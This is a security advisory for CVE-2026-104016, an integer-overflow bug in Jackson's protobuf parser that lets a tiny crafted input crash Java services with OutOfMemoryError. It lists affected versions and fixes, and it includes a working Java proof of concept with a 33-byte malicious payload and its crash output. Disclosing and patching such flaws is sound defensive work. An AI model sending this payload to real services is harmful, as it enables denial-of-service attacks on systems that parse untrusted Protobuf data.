CVE-2026-104016
Published:October 20, 2026
Updated:October 21, 2026
- Ecosystem: Maven - Affected packages: - "com.fasterxml.jackson.dataformat:jackson-dataformat-protobuf" (versions <= 2.22.3, includes 2.18.11 / 2.21.7 LTS) - "tools.jackson.dataformat:jackson-dataformat-protobuf" (versions <= 3.2.3, includes 3.1.7 LTS) - Severity (proposed): High (CVSS 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) - CWE: CWE-190 (Integer Overflow) → CWE-770 (Allocation of Resources Without Limits) / CWE-789 (Memory Allocation with Excessive Size Value) ## Summary "jackson-dataformat-protobuf" parses length-prefixed protobuf string / bytes fields by first checking "(_inputPtr + len) <= _inputEnd" and then, on the fast-path, calling "_finishShortText(len)". Both are 32-bit signed-int arithmetic. When an attacker sends a varint that decodes to "len" near "Integer.MAX_VALUE", "_inputPtr + len" overflows to a negative int; the check "<= _inputEnd" passes as "true"; "_finishShortText(len)" is invoked with the huge "len"; and "TextBuffer.expandCurrentSegment(len)" in jackson-core does "Arrays.copyOf(curr, len)" with no cap, throwing "OutOfMemoryError: Requested array size exceeds VM limit". The "-Xmx" heap cap does NOT save the caller — the JVM refuses arrays of size "> Integer.MAX_VALUE - 8" before checking heap availability. "StreamReadConstraints.maxStringLength" and "maxDocumentLength" (added in "da4f1320", Sep 2026 for #783) do NOT gate this path: a 33-byte payload is well below any document-length cap and the max-string-length check does not fire before the allocation. ## Details File: "protobuf/src/main/java/com/fasterxml/jackson/dataformat/protobuf/ProtobufParser.java" (2.x) / ".../tools/jackson/dataformat/protobuf/ProtobufParser.java" (3.x) Vulnerable call sites (multiple, all reach "_finishShortText(len)"): lines 1331, 1743, 1798, 1882, 1922, 2372 (in 3.x master). Pattern at every site: "java if ((_inputPtr + len) <= _inputEnd) { // overflow-vulnerable check return _finishShortText(len); // uses attacker-supplied len } " "_finishShortText(int len)": "java private final String _finishShortText(int len) throws JacksonException { // ... outBuf = _textBuffer.expandCurrentSegment(len); // Arrays.copyOf(curr, len), no cap // ... } " ### Relationship to the Feb-2026 hardening commit "bd2c681c" "bd2c681c1bc675cbe6523c2aff15eae866332c18" ("Add 2 bounds checks in "ProtobufParser"", Tatu Saloranta, 2026-02-20) added the exact overflow-guard pattern "java if (newEnd < _inputPtr) { _reportErrorF("... length overflows ..."); } " to two paths: 1. Packed-array-length path (line 570 area) 2. Message-length path (line 881 area) The string-length paths (multiple call sites listed above) were left untouched by that commit. This advisory identifies and reports that sibling class of bugs. It is not a variant of any published CVE — "bd2c681c" was internal defensive hardening with no CVE assignment — but transparent disclosure requires noting the Feb-2026 hardening context: the same root-cause pattern (signed-int addition with no overflow guard) was fixed on two paths and missed on the string-length path(s). ## Reproduction ### Environment - OpenJDK 17 (default heap 6144 MB observed), Maven 3.9.16 - Shipping Maven Central jars (default "ProtobufMapper()" config; NO "enableDefaultTyping", no custom PTV): - "com.fasterxml.jackson.dataformat:jackson-dataformat-protobuf:2.21.7" - "tools.jackson.dataformat:jackson-dataformat-protobuf:3.1.7" - Empirically verified: setting "StreamReadConstraints.builder().maxStringLength(1024).maxDocumentLength(1024).maxNestingDepth(10).build()" on the mapper's factory does NOT prevent the OOM — the parser never consults these constraints before the "expandCurrentSegment" allocation. ### PoC (33 attacker-controlled bytes) "java import com.fasterxml.jackson.dataformat.protobuf.ProtobufMapper; import com.fasterxml.jackson.dataformat.protobuf.schema.ProtobufSchema; import com.fasterxml.jackson.dataformat.protobuf.schema.ProtobufSchemaLoader; import java.util.Map; public class ReproOOM { static final String SCHEMA = "message R { optional string s=1; optional int32 i=2; optional int64 l=3; " + "optional bool b=4; optional bytes bb=5; repeated int32 arr=6; repeated string sarr=7; " + "optional Inner inner=8; } message Inner { optional string s2=1; }"; // Field 7 (sarr, tag 0x3a=field 7 wire-type 2) with varint length 0xffffffff07 // = 0x7fffffff = INT_MAX; then _inputPtr+len overflows negative, passes the check, // reaches _finishShortText(INT_MAX) -> expandCurrentSegment(INT_MAX) -> OOM. static final byte[] BYTES = { (byte)0x3a,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x07, (byte)0x10,(byte)0xff,(byte)0x70,(byte)0x18,(byte)0xff,(byte)0xff, (byte)0x70,(byte)0x18,(byte)0xff,(byte)0xff,(byte)0x70,(byte)0x18, (byte)0xff,(byte)0xff,(byte)0x70,(byte)0x18,(byte)0xff,(byte)0xff, (byte)0x70,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x70,(byte)0xff, (byte)0xff,(byte)0xff,(byte)0x70 }; public static void main(String[] a) throws Exception { ProtobufMapper m = new ProtobufMapper(); ProtobufSchema s = ProtobufSchemaLoader.std.parse(SCHEMA); m.readerFor(Map.class).with(s).readValue(BYTES); } } " ### Observed behavior (shipping 2.21.7 LTS jar, default config) "label=default jar origin: .../jackson-dataformat-protobuf-2.21.7.jar max mem (MB): 6144 === CONFIRMED: OutOfMemoryError === java.lang.OutOfMemoryError: Requested array size exceeds VM limit" ### Observed behavior with defensive "StreamReadConstraints" set "label=constrained (maxStringLength=1024, maxDocumentLength=1024, maxNestingDepth=10) === CONFIRMED: OutOfMemoryError === java.lang.OutOfMemoryError: Requested array size exceeds VM limit" This is the key gate-4 evidence: the vendor-recommended "StreamReadConstraints" defense does not close this path. ### Observed behavior (shipping 3.1.7 LTS jar) "running against tools.jackson (3.x) CONFIRMED: OutOfMemoryError on 3.x java.lang.OutOfMemoryError: Requested array size exceeds VM limit" ## Impact Any service that accepts untrusted Protobuf payloads via jackson-dataformat-protobuf can be crashed with a 33-byte input, ignoring "StreamReadConstraints" and heap limits: - gRPC gateways using Jackson for protobuf ↔ JSON bridging - Kafka consumers using "ProtobufMapper" - Any service where the client can influence the Protobuf schema field type The "OutOfMemoryError: Requested array size exceeds VM limit" is thrown BEFORE the JVM ever consults "-Xmx", so heap tuning does not mitigate. ## Affected versions All currently-supported Jackson Protobuf releases: - 2.x: 2.18.x, 2.19.x, 2.20.x, 2.21.x (2.21.7 LTS confirmed), 2.22.x (2.22.3 confirmed) - 3.x: 3.0.x, 3.1.x (3.1.7 LTS confirmed), 3.2.x (3.2.3 confirmed) Root cause: pattern present since the module was created. Feb-2026 hardening "bd2c681c" closed 2 of the ~7 vulnerable call sites; the remaining string-length paths are untouched on master. ## Suggested fix Apply the same "newEnd < _inputPtr" overflow guard pattern used by "bd2c681c" to every remaining call site that computes "_inputPtr + len" before invoking "_finishShortText(len)". Alternatively (defense in depth), cap "TextBuffer.expandCurrentSegment(int)" in jackson-core to at most "Integer.MAX_VALUE - 8" (the array-size limit) and throw a proper "StreamReadException" above that. ## Credit Discovered via Jazzer coverage-guided fuzzing on the shipping Maven Central jars. Empirically verified that "StreamReadConstraints" does not close this path.
Affected Packages
https://github.com/FasterXML/jackson-dataformats-binary.git (GITHUB):
Affected version(s) >=jackson-dataformats-binary-3.2.0 <jackson-dataformats-binary-3.2.4Fix Suggestion:
Update to version jackson-dataformats-binary-3.2.4https://github.com/FasterXML/jackson-dataformats-binary.git (GITHUB):
Affected version(s) >=jackson-dataformats-binary-2.22.0 <jackson-dataformats-binary-2.22.4Fix Suggestion:
Update to version jackson-dataformats-binary-2.22.4https://github.com/FasterXML/jackson-dataformats-binary.git (GITHUB):
Affected version(s) >=jackson-dataformats-binary-3.0.0 <jackson-dataformats-binary-3.1.8Fix Suggestion:
Update to version jackson-dataformats-binary-3.1.8https://github.com/FasterXML/jackson-dataformats-binary.git (GITHUB):
Affected version(s) >=jackson-dataformats-binary-2.19.0 <jackson-dataformats-binary-2.21.8Fix Suggestion:
Update to version jackson-dataformats-binary-2.21.8https://github.com/FasterXML/jackson-dataformats-binary.git (GITHUB):
Affected version(s) >=jackson-dataformats-binary-2.8.0 <jackson-dataformats-binary-2.18.12Fix Suggestion:
Update to version jackson-dataformats-binary-2.18.12com.fasterxml.jackson.dataformat:jackson-dataformat-protobuf (JAVA):
Affected version(s) >=2.6.0-rc1 <2.18.12Fix Suggestion:
Update to version 2.18.12com.fasterxml.jackson.dataformat:jackson-dataformat-protobuf (JAVA):
Affected version(s) >=2.19.0 <2.21.8Fix Suggestion:
Update to version 2.21.8com.fasterxml.jackson.dataformat:jackson-dataformat-protobuf (JAVA):
Affected version(s) >=2.6.0 <2.18.12Fix Suggestion:
Update to version 2.18.12tools.jackson.dataformat:jackson-dataformat-protobuf (JAVA):
Affected version(s) >=3.0.0 <3.1.8Fix Suggestion:
Update to version 3.1.8com.fasterxml.jackson.dataformat:jackson-dataformat-protobuf (JAVA):
Affected version(s) >=2.19.0 <2.21.8Fix Suggestion:
Update to version 2.21.8com.fasterxml.jackson.dataformat:jackson-dataformat-protobuf (JAVA):
Affected version(s) >=2.22.0 <2.22.4Fix Suggestion:
Update to version 2.22.4tools.jackson.dataformat:jackson-dataformat-protobuf (JAVA):
Affected version(s) >=3.2.0 <3.2.4Fix Suggestion:
Update to version 3.2.4Related Resources (3)
Do you need more information?
Contact UsCVSS v4
Base Score:
8.7
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
NONE
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
7.5
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
NONE
Availability
HIGH